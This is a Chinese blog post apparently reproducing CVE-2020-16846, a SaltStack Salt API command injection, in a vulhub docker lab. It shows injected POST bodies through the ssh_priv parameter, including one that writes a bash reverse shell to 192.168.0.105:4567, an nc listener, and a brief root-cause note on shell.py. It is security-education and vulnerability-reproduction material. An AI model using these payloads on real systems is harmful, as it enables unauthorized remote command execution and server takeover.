CVE漏洞复现-CVE-2020-16846SaltStack命令注入

CVE-2020-16846SaltStack命令注入

CVE-2020-16846

漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通
过Salt API执行任意命令

影响范围:
SaltStack < 3002.1 SaltStack < 3001.3 SaltStack < 3000.5 SaltStack < 2019.2.7

漏洞复现

vulhub官网地址

docker和漏洞环境的安装教程vulhub都有提供,我这里便不复述了

在这里插入图片描述

1、进入CVE-2020-16846,在vulhub上启动docker

docker-compose up -d

在这里插入图片描述

查看docker漏洞环境是否搭建好了

docker ps

在这里插入图片描述

2、访问docker靶机 https://ip:8000

在这里插入图片描述

3、使用BP抓包访问地址 https://ip:8000/run,右键发送给重发器

在这里插入图片描述
4、更改请求为POST并且插入请求体,修改如下

在这里插入图片描述

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/suc cess%3b

在这里插入图片描述

5、写一个sh文件里面是反弹shell的命令

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo 'bash -i >%26 /dev/tcp/192.168.0.105/4567 0>%261' >/tmp/qianfu.sh%3b

在这里插入图片描述

7、使用NC接收反弹shell的命令

nc -lvvp 4567

在这里插入图片描述

8、执行sh文件,即可得到反弹shell

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa| bash%20/tmp/qianfu.sh%3b

在这里插入图片描述

9、NC接收的反弹shell

在这里插入图片描述

漏洞分析

该漏洞的成因是因为 salt/client/ssh/shell.py 文件没有对用户参数进行严格的过滤,导致可以执行命令

在这里插入图片描述

cmd中的内容是由一段固定值+format中的path拼接而成,没有任何的过滤 subprocess.call(cmd,shell=True) 是下执行系统命令的函数 如果path的内容可以控制就可以造成命令执行

posted @ 2023-04-07 18:09  私ははいしゃ敗者です  阅读(26)  评论(0编辑  收藏  举报  来源